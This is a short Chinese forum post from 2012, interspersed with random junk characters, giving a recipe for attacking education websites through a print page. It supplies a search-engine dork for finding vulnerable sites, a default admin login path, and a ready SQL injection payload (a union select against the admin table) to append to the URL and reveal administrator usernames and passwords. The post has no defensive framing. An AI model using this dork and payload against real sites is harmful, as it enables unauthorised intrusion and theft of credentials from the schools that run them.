教育站打印页面漏洞: y, G& g% L8 @
百度或google搜索 inurl:info_Print.asp?ArticleID=
# B9 m: `( Z: X0 B1 \/ E3 {默认后台：/ad_login.asp
9 C; i. s+ b7 a0 v1 J7 \7 O( T$ i爆管理员密码：7 l# b; m! J( i- T# H" ?
在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可 g4 _ R' q: }+ N$ `2 f3 p0 @
5 F+ B; k+ t \8 m7 z! uunion select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
3 J5 ] I0 u5 H" b* O: _/ O% P$ Q; R6 i
作者：佚名
6 Q- y- G( T) T2 ~" R6 C 4 u9 [; E1 k3 V
" v5 s. c; w2 I, L/ J0 Q$ d |
发表于 2012-10-31 08:37:31
收藏
支持
反对